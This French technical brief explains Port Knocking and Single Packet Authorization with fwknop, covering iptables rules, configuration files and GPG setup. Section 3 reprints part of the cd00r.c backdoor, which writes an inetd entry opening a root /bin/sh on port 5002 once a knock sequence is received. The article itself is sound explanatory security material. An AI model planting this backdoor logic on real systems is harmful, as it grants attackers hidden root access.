======================================================================== Single Packet Authorization (SPA) ======================================================================== Cette brève traite du Single Packet Authorization. SPA est une méthode et une couche supplémentaire permettant d'établir une connexion à une machine qui a ses ports fermés et d'ouvrir un port voulu en envoyant un message SPA particulier. SPA peut être considéré comme une forme dérivée du Port Knocking mais les mécanismes utilisés sont sensiblement différents. Cette brève n'a pas vocation à préconiser l'utilisation ou pas du SPA, ce dernier pouvant être utilisé à bon ou mauvais escient, mais simplement d'en expliquer brièvement le fonctionnement. Aussi, les exemples utilisés ici s'appliquent pour un client et un serveur se situant sur le même réseau local. 1-- Rappel du fonctionnement du Port Knocking ======================================================================== Ce concept consiste à frapper à une porte en utilisant une série spéciale d'évènements afin de l'ouvrir. Le Port Knocking est utilisé pour garder tous les ports fermés au public et de pouvoir ouvrir ou fermer les ports aux utilisateurs qui ont correctement utilisés une "knock" séquence particulière. Typiquement, sur un système informatique, ceci consiste à atteindre différents ports dans un ordre précis afin d'ouvrir un port voulu. Ce dernier est donc fermé par un pare-feu tant qu'une "knock" séquence particulière n'a pas été effectuée. Si un attaquant effectue un scan sur le système, le port apparaîtra donc fermé bien que le service correspondant soit en fonctionnement, le pare-feu effectuera tout simplement un DROP tant que la bonne séquence n'a pas été effectuée. Par exemple, pour un démon sshd écoutant sur le port TCP 22, nous choisissons d'utiliser la "knock" séquence suivante en atteignant successivement les port 36, 32 et 30. Le port 22 sera donc ici ouvert par le pare-feu que si un utilisateur initialise des connexions TCP dans le bon ordre sur les 3 ports suivants : 36, 32 et 30. knock ! knock ! knock ! Si un attaquant scan la machine avant que la "knock" séquence ne soit effectuée, le port 22 apparait fermé et renvoie un RST/ACK : $ sudo hping -S -p 22 192.70.106.78 HPING 192.70.106.78 (eth0 192.70.106.78): S set, 40 headers + 0 data bytes len=40 ip=192.70.106.78 ttl=64 DF id=0 sport=22 flags=RA seq=0 win=0 rtt=0.2 ms [...] Si un utilisateur frappe aux bons ports dans le bon ordre, ceci ouvre alors le port 22 : SYN client ---------------------------> port TCP/36 du serveur client ---------------------------> port TCP/32 du serveur client ---------------------------> port TCP/30 du serveur Exemple avec hping et l'envoi de paquets SYN : $ sudo hping -S -c 1 -p 36 192.70.106.78 $ sudo hping -S -c 1 -p 32 192.70.106.78 $ sudo hping -S -c 1 -p 30 192.70.106.78 Idem avec nmap : $ sudo nmap -sS -T Polite -p 36,32,30 -r 192.70.106.78 Une fois la séquence correcte effectuée, le port 22 est ouvert pour une durée donnée et une adresse IP spécifique : $ sudo hping -S -p 22 192.70.106.78 HPING 192.70.106.78 (eth0 192.70.106.78): S set, 40 headers + 0 data bytes len=40 ip=192.70.106.78 ttl=64 DF id=0 sport=22 flags=SA seq=0 win=32792 rtt=0.2 ms [...] La machine renvoie bien un SYN/ACK, il est alors possible de s'authentifier au serveur SSH. Pour toutes les autres adresses IP, le port 22 apparaît toujours fermé. Un attaquant pourra toutefois tenter une attaque par force brute afin de dévouvrir les ports et la séquence corrects, mais cette attaque sera détectée assez facilement compte-tenu de son caractère bruyant. Pour une séquence TCP en 3 coups (ici les ports 36, 32 et 30), si l'attaque porte sur les ports de 1 à 65535, ceci fait donc une valeur de l'ordre de 65535 exposant 3, soit environ 281 billions de paquets pour tester toutes les combinaisons possibles. Bien que ceci ressemble à de la sécurité par l'obscurité, on comprend aisément l'intérêt que peut avoir un attaquant à utiliser le Port Knocking pour "obscurcir" sa backdoor (par exemple cd00r.c) et la cacher aux administrateurs qui effectuent un scan de ports à distance de leurs machines. De même, un administrateur pourra être tenté de protéger des services, ici sshd, contre d'éventuels vulnérabilités non patchées ou de type 0-days, puisqu'un attaquant devra d'abord trouver la "knock" séquence particulière lui donnant l'accès au port. L'implémentation du Port Knocking utilise généralement les journaux du pare-feu (par exemple ulogd de Netfilter) afin de savoir si un utilisateur utilise la bonne séquence. Les accès en lecture aux journaux doivent donc être particulièrement protégés. L'utilisation de la libpcap peut quelquefois également être utilisée afin de capturer les paquets directement et reconnaître la bonne séquence. Le Port Knocking n'est pas utilisable pour des machines exécutant des services publics tels que SMTP ou HTTP et ne peut être utilisé que pour des machines fournissant des services à des utilisateurs autorisés qui requièrent un accès continuel depuis n'importe quelle location (comme SSH ou FTP). 2-- Exemple de script effectuant du Port Knocking avec iptables ======================================================================== Les 3 ports TCP 36, 32 et 30 choisis ici doivent être atteints successivement sur un interval de moins de 10 secondes afin d'ouvrir le port TCP 22 : #!/bin/bash i=/sbin/iptables ## binaire IPTables sp=22 ## port qui sera ouvert une fois la séquence effectuée p1=36 ## port à atteindre en premier p2=32 ## port à atteindre en second p3=30 ## port à atteindre en troisième tot=10 ## time out in seconds $i -N kc $i -N kc1 $i -N kc2 $i -A INPUT -m state --state NEW -p tcp --dport $sp -m recent --rcheck \ --name portKnock --seconds $tot -j kc $i -A INPUT -m state --state NEW -p tcp --dport $p1 -m recent --name portKnock2 \ --set -j DROP $i -A INPUT -m state --state NEW -p tcp --dport $p2 -m recent --rcheck \ --name portKnock2 --seconds $tot -j kc1 $i -A INPUT -m state --state NEW -p tcp --dport $p3 -m recent --rcheck \ --name portKnock1 --seconds $tot -j kc2 $i -A kc -m recent --name portKnock --remove -j ACCEPT $i -A kc1 -m recent --name portKnock2 --remove $i -A kc1 -m recent --name portKnock1 --set -j DROP $i -A kc2 -m recent --name portKnock1 --remove $i -A kc2 -m recent --name portKnock --set -j DROP $i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p1 - 1] -m recent \ --name portKnock2 --remove -j DROP $i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p1 + 1] -m recent \ --name portKnock2 --remove -j DROP $i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p2 - 1] -m recent \ --name portKnock1 --remove -j DROP $i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p2 + 1] -m recent \ --name portKnock1 --remove -j DROP $i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p3 - 1] -m recent \ --name portKnock --remove -j DROP $i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p3 + 1] -m recent \ --name portKnock --remove -j DROP 3-- Exemple de Port Knocking en C (issu du POC cd00r.c) ======================================================================== /* "knock" séquence particulière spécifiant les ports à atteindre afin d'ouvrir un port voulu */ #define CDR_PORTS { 36,32,30,00 } [...] unsigned int cports[] = CDR_PORTS; int cportcnt = 0; /* which is the next required port ? */ int actport = 0; /* Cette fonction est appelée quand la "knock" séquence est bien celle voulue */ void cdr_open_door(void) { FILE *f; char *args[] = {"/usr/sbin/inetd","/tmp/.ind",NULL}; switch (fork()) { case -1: #ifdef DEBUG printf("fork() failed !\n"); #endif DEBUG return; case 0: /* To prevent zombies (inetd-zombies look quite stupid) we do * a second fork() */ switch (fork()) { case -1: _exit(0); case 0: /*that's fine */ break; default: _exit(0); } break; default: wait(NULL); return; } if ((f=fopen("/tmp/.ind","a+t"))==NULL) return; fprintf(f,"5002 stream tcp nowait root /bin/sh sh\n"); fclose(f); execv("/usr/sbin/inetd",args); #ifdef DEBUG printf("Strange return from execvp() !\n"); #endif DEBUG exit (0); } 4-- SPA (Single Packet Authorization) ======================================================================== Single Packet Authorization et le Port Knocking utilisent tous les deux un filtrage de paquets et collectent passivement de l'information. Cependant, avec SPA, la "knock" séquence est encodée dans un seul paquet. Aussi, SPA a plus de possibilités que le Port Knocking et permet de contrecarrer les attaques par rejeu, permet d'envoyer plus de données, est plus difficile à détecter par les IDS, il n'y a pas de "knock" séquence particulière à effectuer sur les ports, et des protocoles qui n'ont pas de notion de ports, tels que ICMP ou GRE, peuvent l'utiliser. Une différence principale entre les deux méthodes est que, pour le Port Knocking, la communication des informations s'effectue dans les en-têtes des paquets, ce qui limite la quantité de données pouvant être transférées. Les champs des en-têtes pour les ports TCP et UDP sont de 16 bits, ainsi seuls 2 octets d'informations peuvent être transférés par paquet dans une "knock" séquence. Aussi, si un attaquant capture cette séquence, il a donc la possibilité d'ouvrir le port voulu. L'utilisation d'un algorithme de chiffrement permet d'éviter cela. Cependant, un chiffrement par bloc symétrique, avec par exemple une clé de 128 bits, force à envoyer au moins 8 paquets si on a 2 octets par paquets. Avec SPA, le payload des paquets est directement utilisé pour les données d'authentification. Une présentation effectuée à BlackHat USA 2005 par MadHat Unspecific et Simple Nomad illustre ce concept de SPA. 5-- Fwknop ======================================================================== La première implémentation de SPA a été réalisée en Mai 2005 par Michael Rash avec le logiciel Fwknop (FireWall KNock OPerator). SPA fournit une architecture similaire au Port Knocking, sauf au niveau de la transmission des données qui s'effectue au niveau de la couche applicative. Ceci implique qu'au lieu d'envoyer seulement 2 octets de données par paquet, SPA est capable d'envoyer une taille de données en fonction du MTU utilisé entre le client et le serveur (par exemple 1500 octets pour un réseau ethernet) et dans chaque paquet. Il est donc possible de passer des commandes dans un seul paquet SPA qui seront ensuite exécutées sur le serveur Fwknop. Tous les messages SPA sont chiffrés, soit par l'algorithme de chiffrement symétrique Rijndael, soit par une solution de cryptographie asymétrique utilisant GPG avec l'algorithme ElGamal. L'intégrité des messages est vérifiée par une somme de contrôle MD5 après que le message ait été déchiffré. Un client Fwknop fournit les informations suivantes dans chaque message SPA : 16 octets de données aléatoires, le nom de l'utilisateur local, le timestamp local, la version de Fwknop, le mode utilisé (accès ou commande), l'accès désiré (ou la chaîne de commande), la somme MD5. Les 16 octets aléatoires servent ici afin de faire en sorte que chaque message SPA soit unique. Le serveur Fwknop maintient donc en cache les messages pour tenter de bloquer les attaques par rejeu. Une fois le paquet SPA reçu, le filtrage des paquets est reconfiguré par Netfilter. 6-- Intégration de Fwknop avec Netfilter ======================================================================== Fwknop est compatible avec les règles Netfilter existantes et fournit sa propre chaîne FWKNOP_INPUT. Exemple de règle Netfilter utilisant la chaîne FWKNOP_INPUT : Chain INPUT (policy DROP) FWKNOP_INPUT all -- 0.0.0.0/0 0.0.0.0/0 ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED ACCEPT tcp -- 192.70.106.78 0.0.0.0/0 tcp dpt:22 ULOG udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:62201 ULOG copy_range 0 nlgroup 1 \ prefix `FWKNOP' queue_threshold 1 Chain FWKNOP_INPUT (1 references) ACCEPT tcp -- * * 192.70.106.78 0.0.0.0/0 tcp dpt:22 Le port UDP 62201 est ici utilisé par défaut pour les messages SPA. 7-- Fichiers de configuration de Fwknop ======================================================================== Le fichier /etc/fwknop/fwknop.conf est le suivant : EMAIL_ADDRESSES sm@hsc.fr; AUTH_MODE PCAP; PCAP_INTF eth0; ENABLE_PCAP_PROMISC Y; PCAP_FILTER udp port 62201; PCAP_PKT_FILE /var/log/ulogd.pcap; ENABLE_MD5_PERSISTENCE Y; Le fichier /etc/fwknop/access.conf est le suivant : SOURCE: ANY; DATA_COLLECT_MODE: ULOG_PCAP; OPEN_PORTS: tcp/22; KEY: ; GPG_HOME_DIR: /root/.gnupg; GPG_DECRYPT_ID: serverkeyID; GPG_DECRYPT_PW: ; GPG_REMOTE_ID: clientkeyID; FW_ACCESS_TIMEOUT: 10; REQUIRE_USERNAME: sm; 8-- Utilisation de Fwknop ======================================================================== Un utilisateur ne peut pas établir une connexion au serveur sshd avant d'avoir transmis le message SPA. Tous les paquets SYN sont donc droppés par Netfilter avant l'accès à la pile TCP/IP : [client]$ nc -v 192.70.106.78 22 Pour ouvrir le port ssh, un utilisateur doit d'abord envoyer le message SPA via le client Fwknop : [client]$ fwknop --Server-port 62201 -s -k 192.70.106.78 [+] Starting fwknop in client mode. [+] Enter an encryption key. This key must match a key in the file /etc/fwknop/access.conf on the remote system. Encryption Key: [+] Building encrypted single-packet authorization (SPA) message... [+] Packet fields: Random data: 5728567594694037 Username: sm Timestamp: 1132122416 Version: 1.8.3 Action: 1 (access mode) Access: 0.0.0.0,none,0 MD5 sum: e7c714f84f25c28eb3f9e4f6ef82d52d [+] Sending 128 byte message to 192.70.106.78 over udp/62201... Le serveur Fwknop reconfigure alors les règles Netfilter sur le serveur pour permettre au client de dialoguer avec le serveur SSH. Il est ensuite possible pour l'utilisateur de se connecter au port TCP/22 et de s'authentifier avec son client ssh : [client]$ nc -v 192.70.106.78 22 viewlexx.hsc.fr [192.70.106.78] 22 (ssh) open SSH-2.0-OpenSSH_4.6p1 Debian-5 9-- Utilisation avec GPG ======================================================================== La paire de clés GPG sur le serveur peut être générée de la façon suivante : $ gpg --gen-key $ gpg -a --export serverkeyID > serveur-fwknop.asc La clé publique du serveur doit ensuite être copiée sur le client. Pour le client : $ gpg --gen-key $ gpg -a --export clientkeyID > client-fwknop.asc La clé publique du client doit ensuite être copiée sur le serveur. Les clés sont ensuite importées et signées. Sur le client : $ gpg --import serveur-fwknop.asc $ gpg --edit-key serverkeyID Command> sign Sur le serveur : $ gpg --import client-fwknop.asc $ gpg --edit-key clientkeyID Command> sign Utilisation avec un client pour se connecter au serveur : $ fwknop -A tcp/22 --gpg-recip serverkeyID --gpg-sign clientkeyID -a IPduClient -k IPduServeur Une fois effectuée, Netfilter est alors reconfiguré et le client peut alors se connecter en ssh au serveur : $ ssh nomUtilisateur@IPduServeur 10-- Conclusion ======================================================================== Single Packet Authentication ajoute des fonctionnalités intéressantes au Port Knocking. Contrairement à ce dernier qui peut générer des alertes de scans de ports, SPA ne semble pas créer une empreinte réseau suffisamment significative et peut ne pas être détectée par les IDS. Pour rappel, le but de cette brève n'était pas de savoir si il s'agit de sécurité par l'obscurité ou d'une nouvelle couche de défense en profondeur, mais était simplement de présenter le concept du Single Packet Authorization et de rappeler brièvement le fonctionnement du Port Knocking. 11-- Références ======================================================================== - SPA: Single Packet Authentication MadHat Unspecific et Simple Nomad - NMRC http://www.dc414.org/download/confs/blackhat2005/BH_US_05_MADHATUNSPECIFIC_S.PDF http://www.nmrc.org/dc13/bh2005-mh-sn-spa.ppt http://dc214.unspecific.com/blackhat05/ - cd00r.c FX of Phenoelit http://www.phenoelit-us.org/stuff/cd00r.c - An Analysis of Port Knocking and Single Packet Authorization Sebastien Jeanquier http://www.securethoughts.net/spa/ - Single Packet Authorization with Fwknop Michael Rash http://www.usenix.org/publications/login/2006-02/pdfs/rash.pdf - Fwknop http://www.cipherdyne.org/fwknop/ - Port Knocking http://www.portknocking.org/ - Port Knocking with IPTables http://www.neep.co.uk/index.php?tab=Projects&menu=Port%20Knocking - iptables http://www.netfilter.org/ - ulogd http://netfilter.org/projects/ulogd/index.html - libpcap http://www.tcpdump.org/ - hping http://www.hping.org/ - IANA ports numbers http://www.iana.org/assignments/port-numbers - Security through obscurity http://www.catb.org/~esr/jargon/html/S/security-through-obscurity.html ======================================================================== Stéphane Milani - Hervé Schauer Consultants ========================================================================